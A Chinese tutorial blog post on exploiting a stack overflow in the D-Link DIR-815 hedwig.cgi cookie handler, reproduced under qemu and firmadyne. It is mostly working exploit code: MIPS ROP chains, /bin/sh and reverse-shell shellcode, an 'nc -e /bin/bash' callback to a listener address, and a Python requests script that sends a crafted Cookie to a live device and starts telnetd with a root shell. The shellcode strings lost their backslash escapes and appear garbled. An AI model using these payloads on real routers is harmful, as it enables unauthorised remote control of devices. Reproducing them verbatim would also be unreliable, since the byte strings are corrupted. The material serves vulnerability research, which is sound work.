【技術分享】IOT設備漏洞挖掘從入門到入門(二)- DLink Dir 815漏洞分析及三種方式模擬復現
最近在看各種關于路由器的環境模擬,漏洞復現的文章及《家用路由器0Day技術》,現在選擇一個Dlink-dir-815進行分析,并且用三種方式對漏洞利用進行復現,分別是qemu-uset模式,qemu-system模式,以及firmadyne,希望對大家能有幫助。
環境準備
主要的環境準備參見上一篇文章,這里介紹本篇文章中會用的的模擬工具以及另一個靜態分析工具。
ghidra
下載地址
github地址
看雪平臺大神 提取碼:tppr
Firmadyne
git clone --recursive https://github.com/attify/firmware-analysis-toolkit.git cd ./firmware-analysis-toolkit/firmadyne vi firmadyne.config #將FIRMWARE_DIR=/home/vagrant/firmadynez這一行改為自己的firmadyne的目錄路徑 sudo ./download.sh sudo -H pip install git+https://github.com/ahupp/python-magic sudo -H pip install git+https://github.com/sviehb/jefferson ##下面為配置PostgreSQL數據庫,提示輸入密碼的時候,輸入firmadyne sudo apt-get install qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils sudo apt-get install postgresql sudo -u postgres createuser -P firmadyne sudo -u postgres createdb -O firmadyne firmware sudo -u postgres psql -d firmware < ./firmadyne/database/schema ## cp ../fat.py ./ cp ../reset.py ./ vi fat.py ##firmadyne_path = "/home/iot/source/firmware-analysis-toolkit/firmadyne" ##root_pass = "......" ##firmadyne_pass = "firmadyne" ##將firmadyne的路徑以及root的密碼修改一下 sudo service postgresql start #接下來就是模擬運行了
詳細的內容請參見網址
nmap
svn co https://svn.nmap.org/nmap cd nmap ./configure make sudo make install
固件下載
首先是固件下載,下載的地址,在這里,我選擇的是dir815_v1.00_a86b.bin
查看設備指令架構
cd _dir815_v1.00_a86b.bin.extracted/squashfs-root/bin file busybox
可以看到,指令集架構是mips小端
多重棧溢出漏洞
關于這個漏洞的話,在《家用路由器0day》這本書中已經詳細的進行了介紹,接下來主要的重點放在漏洞分析,環境模擬,exp編寫上面,因為這些內容在我調試的過程中困擾著我。
漏洞分析
根據之前的漏洞分析,是和HTTP_COOKIE有關,我們用分別用IDA和ghidra打開cgibin這個文件,在string中進行搜索HTTP_COOKIE,可以找到有一個函數,就是sess_get_uid,分析一下這個函數,就是提取HTTP_COOKIE里面的uid=后面的部分,然后看一下交叉引用,找到了hedwigcgi這個main函數中,我們可以知道就是后面的sprintf函數引起了棧溢出,但是這個仔細看后面的代碼,可以知道,后面還有一個sprintf函數,第四個參數同樣是HTTP_COOKIE中uid=后面的內容,所以我們可以得出結論,這塊也就是這個漏洞的漏洞點。如下面兩張圖所示:


但是具體是哪一個呢?我們看代碼可以知道,后面回去讀/var/tmp/temp.xml,如果有的話,就會繼續往下執行,如果沒有的話,就跳轉到0x409a64,然后就是結束。所以也就是判斷一下路由器中有沒有/var/tmp ,具體方法詳見《家用路由器0day漏洞挖掘技術》。最終的結論是第二個sprintf引起的棧溢出漏洞。
固件模擬并調試
這一部分是我想介紹,并花費了很長時間摸索的內容,因為沒有路由器實體目標,所以需要通過模擬的方式來啟動,這里要介紹模擬調試的三種方式,分別是qemu-user模式,qemu-system模式,firmadyne,最后一種方式目前只能通過顯示來調試其中的偏移。
qemu-user模式本地模擬
調試啟動腳本
首先是編寫啟動腳本,gedit local.sh,內容如下:
#!/bin/sh INPUT="uid=1234" TEST="uid=1234`cat content`" LEN=$(echo -n "INPUT" |wc -c) PORT="1234" cp $(which qemu-mipsel-static) ./qemu echo $INPUT | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$TEST -E REQUEST_URI="/hedwig.cgi" -g $PORT /htdocs/web/hedwig.cgi rm -f ./qemu
這個調試啟動腳本與之前習題的啟動腳本,不一樣的地方是添加了-E,這個是用來添加環境變量的。因為在cgibin這個程序中,我們可以看到有很多地方都運用了getenv這個函數,它的作用就是用來獲取環境變量的值,因為很多例如HTTP_COOKIE的取值,就是同這個方式,根據程序分析而來,我們需要設置如上的這些環境變量。(這些環境變量就是報文頭部中請求的部分內容)。
測試偏移量
在啟動之前,還有一個事情就是要生成content數據,我們還是像上一篇一樣,先用patternLocOffset.py去生成測試偏移的content,并最終得到偏移為1039。
具體的流程是:
python patternLocOffset.py -c -l 2000 -f content sudo ./local.sh gdb-multiarch htdocs/cgibin #這里調試htdocs/cgibin,是因為hedwig.cgi是一個鏈接文件,他的
本地模擬的exp
接下來就是寫content的生成腳本,也就是本地模擬的exp,因為程序最后即將返回的時候可以設置很多寄存器的值,所以我們也就省去了先調用scandir的那一段gadget了。最后的內容如下所示:
.text:00409A28 lw $ra, 0x4E8+var_4($sp) .text:00409A2C move $v0, $s7 .text:00409A30 lw $fp, 0x4E8+var_8($sp) .text:00409A34 lw $s7, 0x4E8+var_C($sp) .text:00409A38 lw $s6, 0x4E8+var_10($sp) .text:00409A3C lw $s5, 0x4E8+var_14($sp) .text:00409A40 lw $s4, 0x4E8+var_18($sp) .text:00409A44 lw $s3, 0x4E8+var_1C($sp) .text:00409A48 lw $s2, 0x4E8+var_20($sp) .text:00409A4C lw $s1, 0x4E8+var_24($sp) .text:00409A50 lw $s0, 0x4E8+var_28($sp) .text:00409A54 jr $ra .text:00409A58 addiu $sp, 0x4E8
所以我們的通用的一個腳本如下content.py:
from pwn import *
context.arch = 'mips'
context.endian = 'little'
data = "a"*1003
data += "aaaa" #s0
data += "bbbb" #s1
data += "cccc" #s2
data += "dddd" #s3
data += "eeee" #s4
data += "ffff" #s5
data += "gggg" #s6
data += "hhhh" #s7
data += "iiii" #gp
data += "jjjj" #ra
f=open("content","wb")
f.write(data)
f.close()
在相應寄存器的位置填入我們的gadget,接下來,我將用兩種方式來編寫我們的exp。
一:采用《0day》這本書中的方式,調用system函數,然后通過rop填入參數即可。這個里面有一個技巧就是system的地址為0x53200,出現了x00字符,所以我們采用書上的先對這個地址減一,也就是我們傳入一個減一的值,后面調用gadget對這個值加一,并且將寄存器a0的值弄成我們想要執行的命令就可以。
1.尋找gadget。
在這里,我們將lib/libuClibc-0.9.30.1.so放入IDA中來尋找gadget,因為libc.so.0是他的鏈接。

接下來,顯示尋找“+1”的gadget,通過mipsrop.find("addiu $s0,1"),找到第一個gadget
---------------------------------------------------------------------------------------------------------------- | Address | Action | Control Jump | ---------------------------------------------------------------------------------------------------------------- | 0x000158C8 | addiu $s0,1 | jalr $s5 |
然后我們看一下0x158c8處的代碼,如下:
.text:000158C8 move $t9, $s5 .text:000158CC jalr $t9 .text:000158D0 addiu $s0, 1
是通過寄存器$s5來進行下一個跳轉的,加下來就是找一個設置寄存器$a0的gadget,也就是通過這個gadget來設置system的參數。我們通過mipsrop.stackfinder()來找一個。
| 0x000159CC | addiu $s5,$sp,0x170+var_160 | jalr $s0 |
我們看一下這個地址的匯編代碼:
.text:000159CC addiu $s5, $sp, 0x170+var_160 .text:000159D0 move $a1, $s3 .text:000159D4 move $a2, $s1 .text:000159D8 move $t9, $s0 .text:000159DC jalr $t9 ; mempcpy .text:000159E0 move $a0, $s5
這個地方是通過寄存器$s0來進行下一個跳轉的,和我們最開始找的那個“+1”gadget所對應的寄存器是同一個。
2.編寫exp
所以我們最終的exp模版如下所示:
from pwn import *
context.arch = 'mips'
context.endian = 'little'
libc_base = 0x76738000
system_offset = 0x53200-1
gadget1 = 0x159cc
gadget2 = 0x158C8
#cmd = "nc -e /bin/bash 192.168.100.254 9999"
cmd = "/bin/sh"
data = "a"*1003
data += p32(libc_base+system_offset) #s0
data += "bbbb" #s1
data += "cccc" #s2
data += "dddd" #s3
data += "eeee" #s4
data += p32(libc_base+gadget1) #s5
data += "ffff" #s6
data += "gggg" #s7
data += "aaaa" #gp
data += p32(libc_base+gadget2) #ra
data += "b"*0x10
data += cmd
f=open("content","wb")
f.write(data)
f.close()
我們只要在cmd的位置填上我們想要其執行的指令就可以啦。這個里面還有一個libc_base的基地址,我們還是通過上一篇介紹的,也就是用gdb調試的時候,用vmmap查看的。過程如下:
gdb-multiarch htdocs/cgibin target remote 127.0.0.1:1234 b *0x409A54 c vmmap
這樣,我們就能得到libc的基地址。
3.測試
用user模式進行測試的時候,總是沒有成功,不知道原因,如圖所示,總是直接跳轉到原來$ra的位置繼續執行,然而寄存器$fp的值又發生變化啦,所以就出錯啦.

后來在跟著調試過程中,發現下面的代碼:
.text:0005327C la $t9, fork .text:00053280 jalr $t9 ; fork .text:00053284 move $s4, $v0 .text:00053288 bgez $v0, loc_532CC .text:0005328C move $s0, $v0 .text:00053290 move $a1, $s2 .text:00053294 move $t9, $s1 .text:00053298 jalr $t9 ; signal .text:0005329C li $a0, 3 .text:000532A0 move $a1, $s3 .text:000532A4 move $t9, $s1 .text:000532A8 jalr $t9 ; signal .text:000532AC li $a0, 2 .text:000532B0 move $a1, $s4 .text:000532B4 move $t9, $s1 .text:000532B8 jalr $t9 ; signal .text:000532BC li $a0, 0x12 .text:000532C0 lw $gp, 0x48+var_30($sp) .text:000532C4 b loc_533C4 .text:000532C8 li $v0, 0xFFFFFFFF .text:000532CC # --------------------------------------------------------------------------- .text:000532CC .text:000532CC loc_532CC: # CODE XREF: system+88↑j .text:000532CC bnez $v0, loc_5333C .text:000532D0 li $a0, 3 .text:000532D4 move $t9, $s1 .text:000532D8 jalr $t9 ; signal .text:000532DC move $a1, $zero .text:000532E0 li $a0, 2 .text:000532E4 move $t9, $s1 .text:000532E8 jalr $t9 ; signal .text:000532EC move $a1, $zero .text:000532F0 li $a0, 0x12 .text:000532F4 move $t9, $s1 .text:000532F8 jalr $t9 ; signal .text:000532FC move $a1, $zero .text:00053300 lw $gp, 0x48+var_30($sp) .text:00053304 move $a3, $s5 .text:00053308 li $a0, 0x60000 .text:0005330C li $a1, 0x60000 .text:00053310 li $a2, 0x60000 .text:00053314 la $t9, execl .text:00053318 addiu $a0, (aBinSh - 0x60000) # "/bin/sh"
他是先fork了一個子進程,在子進程中執行命令,然而通過user模式模擬的時候,無法實現。所以我就想了第二個方式,運用上一篇文章的內容,也就是跳轉直行shellcode的方式去執行。
二.執行shellcode
1.尋找gadget
我們分別用mipsrop.find("li $a0,1"),mipsrop.tail(),mipsrop.stackfinder(),mipsrop.find("mov $t9,$a1")來尋找我們的gadget,其實有很多組合,我選取了其中之一:
#gadget1 .text:00057E50 li $a0, 1 .text:00057E54 move $t9, $s1 .text:00057E58 jalr $t9 ; sub_57B50 .text:00057E5C ori $a1, $s0, 2 #gadget2 .text:0003E524 move $t9, $s2 .text:0003E528 lw $ra, 0x28+var_4($sp) .text:0003E52C lw $s2, 0x28+var_8($sp) .text:0003E530 lw $s1, 0x28+var_C($sp) .text:0003E534 lw $s0, 0x28+var_10($sp) .text:0003E538 jr $t9 ; xdr_opaque_auth .text:0003E53C addiu $sp, 0x28 #gadget3 .text:0000B814 addiu $a1, $sp, 0x168+var_150 .text:0000B818 move $t9, $s1 .text:0000B81C jalr $t9 ; stat64 .text:0000B820 addiu $a0, (off_5C144 - 0x60000) #gadget4 .text:00037E6C move $t9, $a1 .text:00037E70 addiu $a0, 0x4C # 'L' .text:00037E74 jr $t9 .text:00037E78 move $a1, $a2
2.編寫exp并測試驗證
我們最終編寫的exp如下所示:
libc_base = 0x76738000
sleep_offset = 0x56BD0
gadget1 = 0x57E50
gadget2 = 0x0003E524
gadget3 = 0x0000B814
gadget4 = 0x00037E6C
data = "a"*1003
data += "aaaa" #s0
data += p32(libc_base+gadget2) #s1
data += p32(libc_base+sleep_offset) #s2
data += "aaaa" #s3
data += "aaaa" #s4
data += "aaaa" #s5
data += "aaaa" #s6
data += "aaaa" #s7
data += "aaaa" #gp
data += p32(libc_base+gadget1) #ra
data += "b"*0x18
data += "bbbb" #s0
data += p32(libc_base+gadget4) #s1
data += "bbbb" #s2
data += p32(libc_base+gadget3) #ra
data += "c"*0x18
data += shellcode
f=open("content","wb")
f.write(data)
f.close()
其中shellcode部分我們采用了上一篇文章中的執行/bin/sh的shellcode,如下:
payload = "x26x40x08x01"*2 payload += "xffxffx06x28" # slti $a2, $zero, -1 payload += "x62x69x0fx3c" # lui $t7, 0x6962 payload += "x2fx2fxefx35" # ori $t7, $t7, 0x2f2f payload += "xf4xffxafxaf" # sw $t7, -0xc($sp) payload += "x73x68x0ex3c" # lui $t6, 0x6873 payload += "x6ex2fxcex35" # ori $t6, $t6, 0x2f6e payload += "xf8xffxaexaf" # sw $t6, -8($sp) payload += "xfcxffxa0xaf" # sw $zero, -4($sp) payload += "xf4xffxa4x27" # addiu $a0, $sp, -0xc payload += "xffxffx05x28" # slti $a1, $zero, -1 payload += "xabx0fx02x24" # addiu;$v0, $zero, 0xfab payload += "x0cx01x01x01" # syscall 0x40404
結果出現下面的情形:

這個時候,我想起一個大神的一篇文章,上面采用的方式是先執行一個fork然后執行其他的shellcode,我嘗試了這個方法,shellcode如下:
sc_fork = "x26x40x08x01"*2 sc_fork +="xffxffx11x24x0fx27x04x24x46x10x02x24x0cx01x01x01" sc_fork+="x65x66xb9x87" sc_fork+="x2dx10x11x24xa2x0fx02x24x0cx01x01x01xf8xffx40x1c" payload = "xffxffx06x28" # slti $a2, $zero, -1 payload += "x62x69x0fx3c" # lui $t7, 0x6962 payload += "x2fx2fxefx35" # ori $t7, $t7, 0x2f2f payload += "xf4xffxafxaf" # sw $t7, -0xc($sp) payload += "x73x68x0ex3c" # lui $t6, 0x6873 payload += "x6ex2fxcex35" # ori $t6, $t6, 0x2f6e payload += "xf8xffxaexaf" # sw $t6, -8($sp) payload += "xfcxffxa0xaf" # sw $zero, -4($sp) payload += "xf4xffxa4x27" # addiu $a0, $sp, -0xc payload += "xffxffx05x28" # slti $a1, $zero, -1 payload += "xabx0fx02x24" # addiu;$v0, $zero, 0xfab payload += "x0cx01x01x01" # syscall 0x40404
結果出現如下的情景:

此處的illegal instruction是我不能理解的,請各位大神幫忙解答一下。
然后我又嘗試了反彈 shell的shellcode,shellcode如下:
payload = "x26x40x08x01"*4 payload += "xffxffx04x28xa6x0fx02x24x0cx09x09x01x11x11x04x28" payload += "xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01" payload += "xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01" payload += "x27x28x80x01xffxffx06x28x57x10x02x24x0cx09x09x01" payload += "xffxffx44x30xc9x0fx02x24x0cx09x09x01xc9x0fx02x24" payload += "x0cx09x09x01x79x69x05x3cx01xffxa5x34x01x01xa5x20" #payload += "xf8xffxa5xafx01xb1x05x3cxc0xa8xa5x34xfcxffxa5xaf" # 192.168.1.177 payload += "xf8xffxa5xafx03x84x05x3cxc0xa8xa5x34xfcxffxa5xaf" # 192.168.3.132 #payload += "xf8xffxa5xafx64xfex05x3cxc0xa8xa5x34xfcxffxa5xaf" # 192.168.100.254 payload += "xf8xffxa5x23xefxffx0cx24x27x30x80x01x4ax10x02x24" payload += "x0cx09x09x01x62x69x08x3cx2fx2fx08x35xecxffxa8xaf" payload += "x73x68x08x3cx6ex2fx08x35xf0xffxa8xafxffxffx07x28" payload += "xf4xffxa7xafxfcxffxa7xafxecxffxa4x23xecxffxa8x23" payload += "xf8xffxa8xafxf8xffxa5x23xecxffxbdx27xffxffx06x28" payload += "xabx0fx02x24x0cx09x09x01"
結果出現下面的情景:

出現這個的原因,也不是很理解,還是請各位大佬幫忙解答一下。后面我就先歸因于user mode模式下的問題。接下來,就要驗證qemu-system下可不可以(如此繁瑣的驗證,就是因為沒有真機啊,哭)
qemu-system模式模擬
首先是環境復原,這一步真的是耗費了好長時間啊,此前對于http server的理解不是很夠,所以找了很多的文章來看,很感謝大佬的文章,幫我解答了這個疑惑,現在在這邊詳細講解一下,cgi文件處理數據的流程基本如下:
1.主Web程序監聽端口->傳送HTTP數據包->HTTP中headers等數據通過環境變量的方式傳給cgi處理程序->cgi程序通過getenv獲取數據并處理返回給主程序->向客戶端返回響應數據 2.post的數據,可以通過流的方式傳入,也就是類似于echo "uid=aaa"| /htdocs/web/hedwig.cgi
之前一直在想一個問題,這些環境變量啊,或者post的數據啊,能不能直接通過外部數據請求的方式,傳入到要調試的程序中?好像是不行的,聽了一個大佬看法,因為httpd開啟服務的時候,如果外部的請求為這些cgi的話,那么就會新fork一個進程,聽到這的話,我就明白已經用gdbserver加載的程序和外部請求加載的cgi不是一個,所以也就不能用這種方式了。所以在mips虛擬機上調試的流程如下:
1.部分還原httpd服務,使其能正常訪問 2.設置環境變量,提前設置好cgibin的參數請求 3.gdbserver加載hedwig.cgi 4.gdb-multiarch在外面進行連接調試
下面我將從上面四個部分分別進行講解,因為大佬文章中的固件是1.02,和1.00還有很多不同,所以將根據自身情況進行調整。
一.還原httpd服務
我們首先先找一下有哪些是和httpd服務有關的內容,因為httpd開啟的時候,會有一個配置文件。
find -name "*http*"
然后出現了四個東西,如下:
看到其中的有一個cfg,然后打開這個php,可以看到這是一個生成httpd的配置文件的php文件,所以我們需要先根據這個東西直接改寫一個cfg文件。
改寫后的conf文件如下:
Umask 026
PIDFile /var/run/httpd.pid
LogGMT On
ErrorLog /log
Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}
Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}
Server
{
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family inet
Interface eth0
Address 192.168.100.3
Port "80"
Virtual
{
AnyHost
Control
{
Alias /
Location /htdocs/web
IndexNames { index.php }
External
{
/usr/sbin/phpcgi { router_info.xml }
/usr/sbin/phpcgi { post_login.xml }
}
}
Control
{
Alias /HNAP1
Location /htdocs/HNAP1
External
{
/usr/sbin/hnap { hnap }
}
IndexNames { index.hnap }
}
}
}
將這個文件改寫完之后,我們就用之前的方式啟動mipsel虛擬機(在運行之前,最好先備份一個文件系統,因為之后的操作會改變原本的mipsel的文件系統的內容):
在mipsel文件夾下運行 ./start.sh ./net.sh #在虛擬機中運行 ./net.sh
這樣的話,mipsel虛擬機和本機網絡就互通啦,然后我們將解壓后的固件的文件系統拷貝到mipsel虛擬機中。接下來就是在虛擬機中運行的一些環境復原的東西啦,按照如下的步驟進行操作:
cd root/_dir815_v1.00_a86b.bin.extracted/squashfs-root cp conf / cp sbin/httpd / cp -rf htdocs/ / rm /etc/services cp -rf etc/ / cp lib/ld-uClibc-0.9.30.1.so /lib/ cp lib/libcrypt-0.9.30.1.so /lib/ cp lib/libc.so.0 /lib/ cp lib/libgcc_s.so.1 /lib/ cp lib/ld-uClibc.so.0 /lib/ cp lib/libcrypt.so.0 /lib/ cp lib/libgcc_s.so /lib/ cp lib/libuClibc-0.9.30.1.so /lib/ cd / ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi ln -s /htdocs/cgibin /usr/sbin/phpcgi ln -s /htdocs/cgibin /usr/sbin/phpcgi ./httpd -f conf
然后我們在瀏覽器匯總訪問,出現如下圖所示內容,即為成功:

我們可以將其寫成一個固定的腳本,這樣就可以方便執行啦。
二.設置環境變量
我們通過export的方式來設置環境變量,其中的HTTP_COOKIE部分,
export CONTENT_LENGTH="100" export CONTENT_TYPE="application/x-www-form-urlencoded" export HTTP_COOKIE="uid=1234`cat content1`" export REQUEST_METHOD="POST" export REQUEST_URI="/hedwig.cgi"
三.gdbserver加載hedwig.cgi
我們前面已經通過ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi,然后我們通過下面的指令進行gdb掛載。
echo "uid=1234"|./gdbserver.mipsle 192.168.100.254:6666 ./htdocs/web/hedwig.cgi
所以寫了一個腳本,在mipsel虛擬機里面執行,方便gdbserver加載程序,腳本如下:
#!/bin/bash export CONTENT_LENGTH="100" export CONTENT_TYPE="application/x-www-form-urlencoded" export HTTP_COOKIE="uid=1234`cat content1`" export REQUEST_METHOD="POST" export REQUEST_URI="/hedwig.cgi" echo "uid=1234"|./gdbserver.mipsle 192.168.100.254:6666 ./htdocs/web/hedwig.cgi unset CONTENT_LENGTH unset CONTENT_TYPE unset HTTP_COOKIE unset REQUEST_METHOD unset REQUEST_URI
四.gdb-multiarch在本地加載
gdb-multiarch target remote 192.168.100.3:6666
五.編寫exp
我們依然要經過確定偏移,控制rap,lib基地址,rop鏈的構造,shellcode的構造等過程。確定偏移的過程依然是之前那一套,然后將其拷貝到mipsel虛擬機里面。可以得知偏移為1005,基地址為0x77f34000。我們的exp仍然分為兩個部分,第一個為用system執行命令,第二個為執行shellcode的exp。
1)我們首先來看第一個exp如下
from pwn import *
context.arch = 'mips'
context.endian = 'little'
libc_base = 0x77f34000
system_offset = 0x53200-1
gadget1 = 0x159cc
gadget2 = 0x158C8
cmd = "nc -e /bin/bash 192.168.100.254 9999"
data = "a"*969
data += p32(libc_base+system_offset) #s0
data += "bbbb" #s1
data += "cccc" #s2
data += "dddd" #s3
data += "eeee" #s4
data += p32(libc_base+gadget1) #s5
data += "ffff" #s6
data += "gggg" #s7
data += "aaaa" #gp
data += p32(libc_base+gadget2) #ra
data += "b"*0x10
data += cmd
f=open("content","wb")
f.write(data)
f.close()
這個exp的實現,首先是基于上面user的部分修改的,然后執行的指令的話,是根據mipsel虛擬機里面的指令來寫的,實際的指令可以修改。我們可以看到里面的命令如下:

最后執行的結果如下:

2)我們接下來看第二個exp如下:
from pwn import *
context.arch = 'mips'
context.endian = 'little'
payload= "x26x40x08x01"*4
payload += "xffxffx04x28xa6x0fx02x24x0cx09x09x01x11x11x04x28"
payload += "xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01"
payload += "xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01"
payload += "x27x28x80x01xffxffx06x28x57x10x02x24x0cx09x09x01"
payload += "xffxffx44x30xc9x0fx02x24x0cx09x09x01xc9x0fx02x24"
payload += "x0cx09x09x01x79x69x05x3cx01xffxa5x34x01x01xa5x20"
#payload += "xf8xffxa5xafx01xb1x05x3cxc0xa8xa5x34xfcxffxa5xaf" # 192.168.1.177
#payload += "xf8xffxa5xafx03x84x05x3cxc0xa8xa5x34xfcxffxa5xaf" # 192.168.3.132
payload += "xf8xffxa5xafx64xfex05x3cxc0xa8xa5x34xfcxffxa5xaf" # 192.168.100.254
payload += "xf8xffxa5x23xefxffx0cx24x27x30x80x01x4ax10x02x24"
payload += "x0cx09x09x01x62x69x08x3cx2fx2fx08x35xecxffxa8xaf"
payload += "x73x68x08x3cx6ex2fx08x35xf0xffxa8xafxffxffx07x28"
payload += "xf4xffxa7xafxfcxffxa7xafxecxffxa4x23xecxffxa8x23"
payload += "xf8xffxa8xafxf8xffxa5x23xecxffxbdx27xffxffx06x28"
payload += "xabx0fx02x24x0cx09x09x01"
shellcode = payload
libc_base = 0x77f34000
sleep_offset = 0x56BD0
gadget1 = 0x57E50
gadget2 = 0x0003E524
gadget3 = 0x0000B814
gadget4 = 0x00037E6C
data = "a"*969
data += "aaaa" #s0
data += p32(libc_base+gadget2) #s1
data += p32(libc_base+sleep_offset) #s2
data += "aaaa" #s3
data += "aaaa" #s4
data += "aaaa" #s5
data += "aaaa" #s6
data += "aaaa" #s7
data += "aaaa" #gp
data += p32(libc_base+gadget1) #ra
data += "b"*0x18
data += "bbbb" #s0
data += p32(libc_base+gadget4) #s1
data += "bbbb" #s2
data += p32(libc_base+gadget3) #ra
data += "c"*0x18
data += shellcode
f=open("content","wb")
f.write(data)
f.close()
執行的結果如下:

firmadyne模擬
接下來,介紹一下firmadyne的模擬。根據上面,我們已經把firmadyne安裝完畢,接下來,我們將固件放在同目錄下,然后執行:
python fat.py
然后輸入dir815_v1.00_a86b.bin,還有dlink,接下來,就等待著這個固件的模擬,出現如下的情景,就可以

然后我們通過nmap掃描的話,可以出現下面的場景:

然后,我們依然用兩種方式來展示我們的exp。
1)system的方式:
腳本如下:
from pwn import *
import requests
import sys
def get_payload(offset,cmd):
#libc_base = 0x77f34000
libc_base = 0x2aaf8000
system_offset = 0x53200-1
gadget1 = 0x159cc
gadget2 = 0x000158C8
data = "uid=1234"
data += "a"*offset
data += p32(libc_base+system_offset) #s0
data += "aaaa" #s1
data += "aaaa" #s2
data += "aaaa" #s3
data += "aaaa" #s4
data += p32(libc_base+gadget1) #s5
data += "aaaa" #s6
data += "aaaa" #s7
data += "aaaa" #gp
data += p32(libc_base+gadget2) #ra
data += "b"*0x10
data += cmd
return data
if __name__=="__main__":
cmd = "telnetd -l /bin/sh"
fake_cookie=get_payload(969,cmd)
#fake_cookie = get_payload3(969)
header = {
'Cookie' : fake_cookie,
'Content-Type' : 'application/x-www-form-urlencoded',
'Content-Length': '100'
}
data = {'uid':'1234'}
ip=sys.argv[1]
url="http://"+ip+"/hedwig.cgi"
r=requests.post(url=url,headers=header,data=data)
print r.text
說明一下,開始的時候不知道加載地址,然后隨便試了幾個地址,然后就看到執行成功了。執行之后,我們可以看到

開啟了telnet服務,我們可以直接telnet上去,如下圖所示:

2)shellcode的方式
這個里面,就是把get_payload函數修改為reverse_shell的部分,感覺也是可以的,shellcode如下:
def get_payload2(offset):
payload= "x26x40x08x01"*4
payload += "xffxffx04x28xa6x0fx02x24x0cx09x09x01x11x11x04x28"
payload += "xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01"
payload += "xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01"
payload += "x27x28x80x01xffxffx06x28x57x10x02x24x0cx09x09x01"
payload += "xffxffx44x30xc9x0fx02x24x0cx09x09x01xc9x0fx02x24"
payload += "x0cx09x09x01x79x69x05x3cx01xffxa5x34x01x01xa5x20"
#payload += "xf8xffxa5xafx01xb1x05x3cxc0xa8xa5x34xfcxffxa5xaf" # 192.168.1.177
payload += "xf8xffxa5xafx00x02x05x3cxc0xa8xa5x34xfcxffxa5xaf" # 192.168.3.132
#payload += "xf8xffxa5xafx64xfex05x3cxc0xa8xa5x34xfcxffxa5xaf" # 192.168.100.254
payload += "xf8xffxa5x23xefxffx0cx24x27x30x80x01x4ax10x02x24"
payload += "x0cx09x09x01x62x69x08x3cx2fx2fx08x35xecxffxa8xaf"
payload += "x73x68x08x3cx6ex2fx08x35xf0xffxa8xafxffxffx07x28"
payload += "xf4xffxa7xafxfcxffxa7xafxecxffxa4x23xecxffxa8x23"
payload += "xf8xffxa8xafxf8xffxa5x23xecxffxbdx27xffxffx06x28"
payload += "xabx0fx02x24x0cx09x09x01"
shellcode = payload
libc_base = 0x2aaf8000
sleep_offset = 0x56BD0
gadget1 = 0x57e50
gadget2 = 0x3e524
gadget3 = 0x0000B814
gadget4 = 0x00037E6C
data='a'*offset
data+="a"*0x18
data+="aaaa" #s0
data+=p32(gadget2+libc_base) #s1
data+=p32(sleep_offset+libc_base) #s2
data+="aaaa" #s3
data+="aaaa" #s4
data+="aaaa" #s5
data+="aaaa" #s6
data+="aaaa" #s7
data+="aaaa" #fp
data+=p32(gadget1+libc_base) #ra
data+="b"*0x18
data+="bbbb" #s0
data+=p32(gadget4+libc_base) #s1
data+="bbbb" #s2
data+=p32(gadget3+libc_base) #ra
data+="c"*0x18
data+=shellcode
return data
但是我們要要返回的地址是192.168.0.2,其中包含了x00,所以說沒有復現成功,但是應該也是可以的。這里突然有一個疑惑,怎么能修改firmadyne模擬時對于IP地址的設定?
總結
終于到了總結的部分啦,這次主要和上次的不同是,1、增加了對cgi程序漏洞的復現,主要是設置環境變量,實際上他們獲取參數的過程也是從環境變量中獲取;2、實現了用firmadyne進行模擬復現的情況,并且成功利用;3、增加了ghidra的使用,這個對于mips來說還真的挺舒服的。原本計劃增加一些命令執行的內容,以及自己的一些關于命令執行的理解,就等下一次的入門到入門吧。ps:希望大佬們能對我文中的疑惑進行解答,謝謝。